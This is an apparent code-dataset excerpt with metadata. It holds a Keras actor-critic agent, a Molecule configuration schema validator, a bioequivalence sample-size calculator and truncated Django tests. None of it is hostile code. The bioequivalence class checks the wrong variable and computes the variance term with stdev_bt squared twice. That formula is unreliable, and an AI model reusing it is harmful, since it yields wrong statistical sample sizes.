self.build_critic()\n\n\n    def build_actor(self):\n        inputs = layers.Input(shape=(4,))\n        h1 = layers.Dense(32, activation='relu', kernel_initializer='ones')(inputs)\n        # h2 = layers.Dense(20, activation='relu', kernel_initializer='ones')(h1)\n        d1 = layers.Dropout(0.6, input_shape=(32,))(h1)\n        out = layers.Dense(1, activation='sigmoid', kernel_initializer='ones')(d1)\n        self.actor = Model(inputs=inputs, outputs=out)\n\n        def _actor_loss(y_true, y_pred):\n            action_pred = y_pred\n            action_true, td_error = y_true[:, 0], y_true[:, 1]\n            action_true = K.reshape(action_true, (-1, 1))\n            loss = K.binary_crossentropy(action_true, action_pred)\n            return loss * K.flatten(td_error)\n\n        self.actor.compile(loss=_actor_loss, optimizer=Adam(lr=self.actor_lr))\n\n\n    def build_critic(self):\n        inputs = layers.Input(shape=(4,))\n        h1 = layers.Dense(16, activation='relu')(inputs)\n        h2 = layers.Dense(16, activation='relu')(h1)\n        out = layers.Dense(1, activation='linear')(h2)\n        self.critic = Model(inputs=inputs, outputs=out)\n        self.critic.compile(loss='mse', optimizer=Adam(lr=self.critic_lr))\n\n\n    def discount_reward(self, next_states, reward, done):\n        q = self.critic.predict(next_states)[0][0]\n        target = reward\n        if not done:\n            target = reward + self.gamma * q\n        \n        return target\n\n\n    def act(self, state):\n        prob = self.actor.predict(state)[0][0]\n        action = np.random.choice(np.array(range(2)), p=[1 - prob, prob])\n        return action\n\n\n    def train(self, state, action, reward, state_next, done):\n        target = self.discount_reward(state_next, reward, done)\n        y = np.array([target])\n\n        td_error = target - self.critic.predict(state)[0][0]\n        loss1 = self.critic.train_on_batch(state, y)\n\n        y = np.array([[action, td_error]])\n        loss2 = self.actor.train_on_batch(state, y)\n        return loss1, loss2\n\nif __name__ == '__main__':\n\tpass", "repo_name": "thomas861205/RL-HW4", "sub_path": "agent.py", "file_name": "agent.py", "file_ext": "py", "file_size_in_byte": 7559, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.linspace", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 34, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.digitize", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.digitize", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.digitize", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.digitize", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 58, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 79, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 83, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 83, "usage_type": "name"}, {"api_name": "keras.layers.Input", "line_number": 84, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 84, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 85, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 85, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 94, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 94, "usage_type": "name"}, {"api_name": "keras.backend.log", "line_number": 101, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 101, "usage_type": "name"}, {"api_name": "keras.backend.mean", "line_number": 102, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 102, "usage_type": "name"}, {"api_name": "keras.models.Model", "line_number": 104, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 105, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 123, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 123, "usage_type": "attribute"}, {"api_name": "numpy.vstack", "line_number": 124, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 125, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 136, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 141, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 162, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 176, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 176, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 177, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 177, "usage_type": "name"}, {"api_name": "keras.layers.Dropout", "line_number": 179, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 179, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 180, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 180, "usage_type": "name"}, {"api_name": "keras.models.Model", "line_number": 181, "usage_type": "call"}, {"api_name": "keras.backend.reshape", "line_number": 186, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 186, "usage_type": "name"}, {"api_name": "keras.backend.binary_crossentropy", "line_number": 187, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 187, "usage_type": "name"}, {"api_name": "keras.backend.flatten", "line_number": 188, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 188, "usage_type": "name"}, {"api_name": "keras.optimizers.Adam", "line_number": 190, "usage_type": "call"}, {"api_name": "keras.layers.Input", "line_number": 194, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 194, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 195, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 195, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 196, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 196, "usage_type": "name"}, {"api_name": "keras.layers.Dense", "line_number": 197, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 197, "usage_type": "name"}, {"api_name": "keras.models.Model", "line_number": 198, "usage_type": "call"}, {"api_name": "keras.optimizers.Adam", "line_number": 199, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 213, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 213, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 213, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 224, "usage_type": "call"}]}
{"seq_id": "32165857407", "text": "import collections\nimport functools\nimport re\n\nimport cerberus\nimport cerberus.errors\n\nfrom molecule import api\nfrom molecule import interpolation, util\n\n\ndef coerce_env(env, keep_string, v):\n    \"\"\"Interpolate environment.\"\"\"\n    i = interpolation.Interpolator(interpolation.TemplateWithDefaults, env)\n\n    return i.interpolate(v, keep_string)\n\n\ndef pre_validate_base_schema(env, keep_string):\n    \"\"\"Pre-validate base schema.\"\"\"\n    return {\n        \"dependency\": {\n            \"type\": \"dict\",\n            \"schema\": {\n                \"name\": {\n                    \"type\": \"string\",\n                    \"molecule_env_var\": True,\n                    \"allowed\": [\"galaxy\", \"gilt\", \"shell\"],\n                }\n            },\n        },\n        \"driver\": {\n            \"type\": \"dict\",\n            \"schema\": {\n                \"name\": {\n                    \"type\": \"string\",\n                    \"molecule_env_var\": True,\n                    \"allowed\": api.drivers(),\n                    # NOTE(retr0h): Some users use an environment variable to\n                    # change the driver name.  May add this coercion to rest of\n                    # config using allowed validation.\n                    \"coerce\": (str, functools.partial(coerce_env, env, keep_string)),\n                }\n            },\n        },\n        \"lint\": {\"type\": \"string\"},\n        \"platforms\": {\n            \"type\": \"list\",\n            \"schema\": {\n                \"type\": \"dict\",\n                \"schema\": {\n                    \"registry\": {\n                        \"type\": \"dict\",\n                        \"schema\": {\n                            \"credentials\": {\n                                \"type\": \"dict\",\n                                \"schema\": {\"password\": {\"type\": \"string\"}},\n                            }\n                        },\n                    }\n                },\n            },\n        },\n        \"provisioner\": {\n            \"type\": \"dict\",\n            \"schema\": {\n                \"name\": {\n                    \"type\": \"string\",\n                    \"molecule_env_var\": True,\n                    \"allowed\": [\"ansible\"],\n                },\n            },\n        },\n        \"scenario\": {\"type\": \"dict\", \"schema\": {\"name\": {\"molecule_env_var\": True}}},\n        \"verifier\": {\n            \"type\": \"dict\",\n            \"schema\": {\n                \"name\": {\n                    \"type\": \"string\",\n                    \"molecule_env_var\": True,\n                    \"allowed\": api.verifiers(),\n                },\n            },\n        },\n    }\n\n\nbase_schema = {\n    \"dependency\": {\n        \"type\": \"dict\",\n        \"schema\": {\n            \"name\": {\"type\": \"string\"},\n            \"enabled\": {\"type\": \"boolean\"},\n            \"options\": {\"type\": \"dict\"},\n            \"env\": {\n                \"type\": \"dict\",\n                \"keysrules\": {\"type\": \"string\", \"regex\": \"^[A-Z0-9_-]+$\"},\n            },\n            \"command\": {\"type\": \"string\", \"nullable\": True},\n        },\n    },\n    \"driver\": {\n        \"type\": \"dict\",\n        \"schema\": {\n            \"name\": {\"type\": \"string\"},\n            \"provider\": {\n                \"type\": \"dict\",\n                \"schema\": {\"name\": {\"type\": \"string\", \"nullable\": True}},\n            },\n            \"options\": {\"type\": \"dict\", \"schema\": {\"managed\": {\"type\": \"boolean\"}}},\n            \"ssh_connection_options\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n            \"safe_files\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n        },\n    },\n    \"lint\": {\"type\": \"string\"},\n    \"platforms\": {\n        \"type\": \"list\",\n        \"schema\": {\n            \"type\": \"dict\",\n            \"schema\": {\n                \"name\": {\n                    \"type\": \"string\",\n                    \"required\": True,\n                    \"unique\": True,  # https://github.com/pyeve/cerberus/issues/467\n                },\n                \"groups\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n                \"children\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n            },\n        },\n    },\n    \"provisioner\": {\n        \"type\": \"dict\",\n        \"schema\": {\n            \"name\": {\"type\": \"string\"},\n            \"log\": {\"type\": \"boolean\"},\n            \"config_options\": {\n                \"type\": \"dict\",\n                \"schema\": {\n                    \"defaults\": {\n                        \"type\": \"dict\",\n                        \"schema\": {\n                            \"roles_path\": {\"type\": \"string\", \"disallowed\": True},\n                            \"library\": {\"type\": \"string\", \"disallowed\": True},\n                            \"filter_plugins\": {\"type\": \"string\", \"disallowed\": True},\n                        },\n                    },\n                    \"privilege_escalation\": {\"type\": \"dict\", \"disallowed\": True},\n                },\n            },\n            \"connection_options\": {\"type\": \"dict\"},\n            \"options\": {\"type\": \"dict\"},\n            \"env\": {\n                \"type\": \"dict\",\n                \"keysrules\": {\"type\": \"string\", \"regex\": \"^[A-Z0-9_-]+$\"},\n                \"valuesrules\": {\"nullable\": False},\n                \"schema\": {\n                    \"ANSIBLE_BECOME\": {\"type\": \"string\", \"disallowed\": True},\n                    \"ANSIBLE_BECOME_METHOD\": {\"type\": \"string\", \"disallowed\": True},\n                    \"ANSIBLE_BECOME_USER\": {\"type\": \"string\", \"disallowed\": True},\n                },\n            },\n            \"inventory\": {\n                \"type\": \"dict\",\n                \"schema\": {\n                    \"hosts\": {\"type\": \"dict\"},\n                    \"host_vars\": {\"type\": \"dict\"},\n                    \"group_vars\": {\"type\": \"dict\"},\n                    \"links\": {\"type\": \"dict\"},\n                },\n            },\n            \"children\": {\"type\": \"dict\"},\n            \"playbooks\": {\n                \"type\": \"dict\",\n                \"schema\": {\n                    \"cleanup\": {\"type\": \"string\"},\n                    \"create\": {\"type\": \"string\"},\n                    \"converge\": {\"type\": \"string\"},\n                    \"destroy\": {\"type\": \"string\"},\n                    \"prepare\": {\"type\": \"string\"},\n                    \"side_effect\": {\"type\": \"string\"},\n                    \"verify\": {\"type\": \"string\"},\n                },\n            },\n        },\n    },\n    \"scenario\": {\n        \"type\": \"dict\",\n        \"schema\": {\n            \"check_sequence\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n            \"converge_sequence\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n            \"create_sequence\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n            \"destroy_sequence\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n            \"test_sequence\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n        },\n    },\n    \"verifier\": {\n        \"type\": \"dict\",\n        \"schema\": {\n            \"name\": {\"type\": \"string\"},\n            \"enabled\": {\"type\": \"boolean\"},\n            \"options\": {\"type\": \"dict\"},\n            \"env\": {\n                \"type\": \"dict\",\n                \"keysrules\": {\"type\": \"string\", \"regex\": \"^[A-Z0-9_-]+$\"},\n            },\n            \"directory\": {\"type\": \"string\"},\n            \"additional_files_or_dirs\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n        },\n    },\n}\n\nplatforms_docker_schema = {\n    \"platforms\": {\n        \"type\": \"list\",\n        \"schema\": {\n            \"type\": \"dict\",\n            \"schema\": {\n                \"name\": {\"type\": \"string\"},\n                \"hostname\": {\"type\": \"string\"},\n                \"image\": {\"type\": \"string\"},\n                \"dockerfile\": {\"type\": \"string\"},\n                \"pull\": {\"type\": \"boolean\"},\n                \"pre_build_image\": {\"type\": \"boolean\"},\n                \"registry\": {\n                    \"type\": \"dict\",\n                    \"schema\": {\n                        \"url\": {\"type\": \"string\"},\n                        \"credentials\": {\n                            \"type\": \"dict\",\n                            \"schema\": {\n                                \"username\": {\"type\": \"string\"},\n                                \"password\": {\"type\": \"string\"},\n                                \"email\": {\"type\": \"string\"},\n                            },\n                        },\n                    },\n                },\n                \"override_command\": {\"type\": \"boolean\", \"nullable\": True},\n                \"command\": {\"type\": \"string\", \"nullable\": True},\n                \"tty\": {\"type\": \"boolean\", \"nullable\": True},\n                \"pid_mode\": {\"type\": \"string\"},\n                \"privileged\": {\"type\": \"boolean\"},\n                \"security_opts\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n                \"volumes\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n                \"keep_volumes\": {\"type\": \"boolean\"},\n                \"tmpfs\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n                \"capabilities\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n                \"sysctls\": {\"type\": \"dict\", \"keysrules\": {\"type\": \"string\"}},\n                \"exposed_ports\": {\n                    \"type\": \"list\",\n                    \"schema\": {\"type\": \"string\", \"coerce\": \"exposed_ports\"},\n                },\n                \"published_ports\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n                \"user\": {\"type\": \"string\"},\n                \"ulimits\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n                \"dns_servers\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n                \"etc_hosts\": {\n                    \"type\": [\"string\", \"dict\"],\n                    \"keysrules\": {\"type\": \"string\"},\n                },\n                \"env\": {\n                    \"type\": \"dict\",\n                    \"keysrules\": {\"type\": \"string\", \"regex\": \"^[a-zA-Z0-9._-]+$\"},\n                },\n                \"restart_policy\": {\"type\": \"string\"},\n                \"restart_retries\": {\"type\": \"integer\"},\n                \"networks\": {\n                    \"type\": \"list\",\n                    \"schema\": {\"type\": \"dict\", \"schema\": {\"name\": {\"type\": \"string\"}}},\n                },\n                \"network_mode\": {\"type\": \"string\"},\n                \"purge_networks\": {\"type\": \"boolean\"},\n                \"docker_host\": {\"type\": \"string\"},\n                \"cacert_path\": {\"type\": \"string\"},\n                \"cert_path\": {\"type\": \"string\"},\n                \"key_path\": {\"type\": \"string\"},\n                \"tls_verify\": {\"type\": \"boolean\"},\n            },\n        },\n    }\n}\n\nplatforms_podman_schema = {\n    \"platforms\": {\n        \"type\": \"list\",\n        \"schema\": {\n            \"type\": \"dict\",\n            \"schema\": {\n                \"name\": {\"type\": \"string\"},\n                \"hostname\": {\"type\": \"string\"},\n                \"image\": {\"type\": \"string\"},\n                \"dockerfile\": {\"type\": \"string\"},\n                \"pull\": {\"type\": \"boolean\"},\n                \"pre_build_image\": {\"type\": \"boolean\"},\n                \"registry\": {\n                    \"type\": \"dict\",\n                    \"schema\": {\n                        \"url\": {\"type\": \"string\"},\n                        \"credentials\": {\n                            \"type\": \"dict\",\n                            \"schema\": {\n                                \"username\": {\"type\": \"string\"},\n                                \"password\": {\"type\": \"string\"},\n                            },\n                        },\n                    },\n                },\n                \"override_command\": {\"type\": \"boolean\", \"nullable\": True},\n                \"command\": {\"type\": \"string\", \"nullable\": True},\n                \"tty\": {\"type\": \"boolean\", \"nullable\": True},\n                \"pid_mode\": {\"type\": \"string\"},\n                \"privileged\": {\"type\": \"boolean\"},\n                \"security_opts\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n                \"volumes\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n                \"tmpfs\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n                \"capabilities\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n                \"exposed_ports\": {\n                    \"type\": \"list\",\n                    \"schema\": {\"type\": \"string\", \"coerce\": \"exposed_ports\"},\n                },\n                \"published_ports\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n                \"ulimits\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n                \"dns_servers\": {\"type\": \"list\", \"schema\": {\"type\": \"string\"}},\n                \"etc_hosts\": {\n                    \"type\": [\"string\", \"dict\"],\n                    \"keysrules\": {\"type\": \"string\"},\n                },\n                \"env\": {\n                    \"type\": \"dict\",\n                    \"keysrules\": {\"type\": \"string\", \"regex\": \"^[a-zA-Z0-9._-]+$\"},\n                },\n                \"restart_policy\": {\"type\": \"string\"},\n                \"restart_retries\": {\"type\": \"integer\"},\n                \"network\": {\"type\": \"string\"},\n                \"cert_path\": {\"type\": \"string\"},\n                \"tls_verify\": {\"type\": \"boolean\"},\n            },\n        },\n    }\n}\n\n\ndependency_command_nullable_schema = {\n    \"dependency\": {\n        \"type\": \"dict\",\n        \"schema\": {\"command\": {\"type\": \"string\", \"nullable\": False}},\n    }\n}\n\n\nclass Validator(cerberus.Validator):\n    \"\"\"Validator Class.\"\"\"\n\n    def __init__(self, *args, **kwargs):\n        \"\"\"Construct Validator.\"\"\"\n        super(Validator, self).__init__(*args, **kwargs)\n\n    def _validate_unique(self, unique, field, value):\n        \"\"\"Ensure value uniqueness.\n\n        The rule's arguments are validated against this schema:\n        {'type': 'boolean'}\n        \"\"\"\n        if unique:\n            root_key = self.schema_path[0]\n            data = (doc[field] for doc in self.root_document[root_key])\n            for key, count in collections.Counter(data).items():\n                if count > 1:\n                    msg = \"'{}' is not unique\".format(key)\n                    self._error(field, msg)\n\n    def _validate_disallowed(self, disallowed, field, value):\n        \"\"\"Readonly but with a custom error.\n\n        The rule's arguments are validated against this schema:\n        {'type': 'boolean'}\n        \"\"\"\n        if disallowed:\n            msg = \"disallowed user provided config option\"\n            self._error(field, msg)\n\n    def _normalize_coerce_exposed_ports(self, value):\n        \"\"\"Coerce ``exposed_ports`` values to string.\n\n        Not all types that can be specified by the user are acceptable and\n        therefore we cannot simply pass a ``'coerce': 'string'`` to the schema\n        definition.\n        \"\"\"\n        if type(value) == int:\n            return str(value)\n        return value\n\n    def _validate_molecule_env_var(self, molecule_env_var, field, value):\n        \"\"\"Readonly but with a custom error.\n\n        The rule's arguments are validated against this schema:\n        {'type': 'boolean'}\n        \"\"\"\n        # TODO(retr0h): This needs to be better handled.\n        pattern = r\"^[{$]+MOLECULE[_a-z0-9A-Z]+[}]*$\"\n\n        if molecule_env_var:\n            if re.match(pattern, value):\n                msg = \"cannot reference $MOLECULE special variables \" \"in this section\"\n                self._error(field, msg)\n\n\ndef pre_validate(stream, env, keep_string):\n    \"\"\"Pre-validate stream.\"\"\"\n    data = util.safe_load(stream)\n\n    v = Validator(allow_unknown=True)\n    v.validate(data, pre_validate_base_schema(env, keep_string))\n\n    return v.errors, data\n\n\ndef validate(c):\n    \"\"\"Perform schema validation.\"\"\"\n    schema = base_schema\n\n    # Dependency\n    if c[\"dependency\"][\"name\"] == \"shell\":\n        schema = util.merge_dicts(schema, dependency_command_nullable_schema)\n\n    # Driver\n    if c[\"driver\"][\"name\"] == \"docker\":\n        schema = util.merge_dicts(schema, platforms_docker_schema)\n    elif c[\"driver\"][\"name\"] == \"podman\":\n        schema = util.merge_dicts(schema, platforms_podman_schema)\n\n    # Verifier\n    schema = util.merge_dicts(schema, api.verifiers()[c[\"verifier\"][\"name\"]].schema())\n\n    v = Validator(allow_unknown=True)\n    v.validate(c, schema)\n\n    return v.errors\n", "repo_name": "scorepyo/molecule-yml", "sub_path": "molecule/model/schema_v3.py", "file_name": "schema_v3.py", "file_ext": "py", "file_size_in_byte": 15897, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "molecule.interpolation.Interpolator", "line_number": 14, "usage_type": "call"}, {"api_name": "molecule.interpolation", "line_number": 14, "usage_type": "name"}, {"api_name": "molecule.interpolation.TemplateWithDefaults", "line_number": 14, "usage_type": "attribute"}, {"api_name": "molecule.api.drivers", "line_number": 38, "usage_type": "call"}, {"api_name": "molecule.api", "line_number": 38, "usage_type": "name"}, {"api_name": "functools.partial", "line_number": 42, "usage_type": "call"}, {"api_name": "molecule.api.verifiers", "line_number": 81, "usage_type": "call"}, {"api_name": "molecule.api", "line_number": 81, "usage_type": "name"}, {"api_name": "cerberus.Validator", "line_number": 351, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 367, "usage_type": "call"}, {"api_name": "re.match", "line_number": 403, "usage_type": "call"}, {"api_name": "molecule.util.safe_load", "line_number": 410, "usage_type": "call"}, {"api_name": "molecule.util", "line_number": 410, "usage_type": "name"}, {"api_name": "molecule.util.merge_dicts", "line_number": 424, "usage_type": "call"}, {"api_name": "molecule.util", "line_number": 424, "usage_type": "name"}, {"api_name": "molecule.util.merge_dicts", "line_number": 428, "usage_type": "call"}, {"api_name": "molecule.util", "line_number": 428, "usage_type": "name"}, {"api_name": "molecule.util.merge_dicts", "line_number": 430, "usage_type": "call"}, {"api_name": "molecule.util", "line_number": 430, "usage_type": "name"}, {"api_name": "molecule.util.merge_dicts", "line_number": 433, "usage_type": "call"}, {"api_name": "molecule.util", "line_number": 433, "usage_type": "name"}, {"api_name": "molecule.api.verifiers", "line_number": 433, "usage_type": "call"}, {"api_name": "molecule.api", "line_number": 433, "usage_type": "name"}]}
{"seq_id": "11971580865", "text": "from skdesign.power import (PowerBase,\n                            is_in_0_1,\n                            is_numeric,\n                            is_positive)\nimport scipy.stats as stats\nimport math\n\nMAX_ITERATIONS = 1000\n\n\nclass Individual(PowerBase):\n    \"\"\" Sample Size calculations for tests of individual bioequivalence.\n\n    This class calculates the sample size required for testing Individual\n    Bioequivalence using a 2 x 4 crossover design.\n\n    Attributes:\n        n: The sample size required to test the hypothesis at an\n            :math:`\\\\alpha` level and a power of :math:`1 - \\\\beta`.\n        delta: :math:`\\\\delta` is the individual bioequivalence\n        stdev_wr: :math:`\\\\sigma_{WR}`\n        stdev_wt: :math:`\\\\sigma_{WT}`\n        stdev_d: :math:`\\\\sigma_{D}`\n        theta_IBE: :math:`\\\\theta_{IBE}` is the IBE limit specificed from the\n            FDA (1.74).\n        alpha: The :math:`\\\\alpha` level required by the hypothesis.\n        beta: The :math:`\\\\beta` level required by the hypothesis (equal to\n            :math:`1` - power).\n        power: The power required by the hypothesis (equal to\n            :math:`1 - \\\\beta`).\n    \"\"\"\n\n    def __init__(self, delta=None, stdev_wr=None, stdev_wt=None,\n                 stdev_br=None, stdev_bt=None, rho=None,\n                 theta_IBE=None, alpha=None, power=None,\n                 beta=None):\n        is_numeric(delta, 'delta')\n        self.delta = delta\n\n        is_positive(stdev_wr, 'stdev_wr')\n        self.stdev_wr = stdev_wr\n        is_positive(stdev_wt, 'stdev_wt')\n        self.stdev_wt = stdev_wt\n        is_positive(stdev_bt, 'stdev_br')\n        self.stdev_br = stdev_br\n        is_positive(stdev_bt, 'stdev_bt')\n        self.stdev_bt = stdev_bt\n        is_in_0_1(rho, 'rho')\n        self.rho = rho\n\n        var_d = self.stdev_bt**2 + self.stdev_br**2 - 2 * self.rho * self.stdev_bt**2 * self.stdev_bt**2\n        self.stdev_d = math.sqrt(var_d)\n        if theta_IBE is None:\n            theta_IBE = 1.74\n        else:\n            is_positive(theta_IBE, 'theta_IBE')\n        self.theta_IBE = theta_IBE\n\n        # Initialize the remaining arguments through the parent.\n        super(Individual, self).__init__(hypothesis=\"equivalence\",\n                                         alpha=alpha, beta=beta, power=power)\n\n    def _calculate_gamma(self):\n        gamma = self.delta**2 + self.stdev_d**2 + self.stdev_wt**2\n        gamma -= (self.theta_IBE + 1) * self.stdev_wr**2\n        return gamma\n\n    def _calculate_u(self, n, cut):\n        nu = 2 * n - 1\n        sigma = self._calculate_sigma(0.5, 0.5)\n        tmp_1 = ((nu - 1) / stats.chi2.ppf(1 - cut, df=nu - 1) - 1)**2\n        tmp_2 = ((nu - 1) / stats.chi2.ppf(cut, df=nu - 1) - 1)**2\n        U = (abs(self.delta) +\n             stats.t.ppf(cut, df=nu) * sigma * math.sqrt(2 / n) / 2 -\n             self.delta**2)**2\n        U += sigma**4 * tmp_1\n        U += 0.25 * self.stdev_wt**4 * tmp_1\n        U += (1.5 + self.theta_IBE)**2 * self.stdev_wr**4 * tmp_2\n        return U\n\n    def _calculate_sigma(self, a, b):\n        sigma = (self.stdev_d**2 + a * self.stdev_wt**2 +\n                 b * self.stdev_wr**2)\n        return sigma\n\n    def calculate(self):\n        gamma = self._calculate_gamma()\n        self.n = None\n        found_solution = False\n        for i in range(2, MAX_ITERATIONS):\n            bound = gamma + math.sqrt(self._calculate_u(i, 0.05))\n            bound += math.sqrt(self._calculate_u(i, self.power))\n            if bound < 0:\n                self.n = i\n                found_solution = True\n                break\n        if not found_solution:\n            raise BaseException(\"N > \" + str(MAX_ITERATIONS))\n", "repo_name": "louden/scikit-design", "sub_path": "skdesign/power/bioequivalence/individual.py", "file_name": "individual.py", "file_ext": "py", "file_size_in_byte": 3672, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "skdesign.power.PowerBase", "line_number": 11, "usage_type": "name"}, {"api_name": "skdesign.power.is_numeric", "line_number": 37, "usage_type": "call"}, {"api_name": "skdesign.power.is_positive", "line_number": 40, "usage_type": "call"}, {"api_name": "skdesign.power.is_positive", "line_number": 42, "usage_type": "call"}, {"api_name": "skdesign.power.is_positive", "line_number": 44, "usage_type": "call"}, {"api_name": "skdesign.power.is_positive", "line_number": 46, "usage_type": "call"}, {"api_name": "skdesign.power.is_in_0_1", "line_number": 48, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 52, "usage_type": "call"}, {"api_name": "skdesign.power.is_positive", "line_number": 56, "usage_type": "call"}, {"api_name": "scipy.stats.chi2.ppf", "line_number": 71, "usage_type": "call"}, {"api_name": "scipy.stats.chi2", "line_number": 71, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 71, "usage_type": "name"}, {"api_name": "scipy.stats.chi2.ppf", "line_number": 72, "usage_type": "call"}, {"api_name": "scipy.stats.chi2", "line_number": 72, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 72, "usage_type": "name"}, {"api_name": "scipy.stats.t.ppf", "line_number": 74, "usage_type": "call"}, {"api_name": "scipy.stats.t", "line_number": 74, "usage_type": "attribute"}, {"api_name": "scipy.stats", "line_number": 74, "usage_type": "name"}, {"api_name": "math.sqrt", "line_number": 74, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 91, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 92, "usage_type": "call"}]}
{"seq_id": "21700164733", "text": "from django.test import TestCase\n\n# Import module\nfrom backend.project_manager import *\n\n\nclass GetProjectsTest(TestCase):\n\n    def test_multiple_projects(self):\n        \"\"\"\n        Test getting multiple projects.\n        \"\"\"\n        create_project('project1')\n        create_project('project2')\n        create_project('project3')\n        code, res = get_projects()\n        self.assertEqual(200, code)\n        self.assertEqual(len(res[PROJECTS]), 3)\n\n    def test_no_projects(self):\n        \"\"\"\n        Test getting projects when there are none.\n        \"\"\"\n        code, res = get_projects()\n        self.assertEqual(code, 200)\n        self.assertEqual(res, {PROJECTS: []})\n\n\nclass NewProjectTest(TestCase):\n\n    def test_basic(self):\n        \"\"\"\n        Makes a simple call.\n        \"\"\"\n        code, res = new_project(data={PROJECT_NAME: 'test_project'})\n        self.assertEqual(code, 200)\n        self.assertEqual(res, {PROJECT_ID: 1})\n        self.assertEqual(Project.objects.count(), 1)\n        self.assertEqual(Filter.objects.count(), 1)\n\n\nclass DeleteProjectTest(TestCase):\n\n    def setUp(self) -> None:\n        self.pid = create_project(name='test_project')\n\n    def test_basic(self):\n        \"\"\"\n        Makes a simple call.\n        \"\"\"\n        code, res = 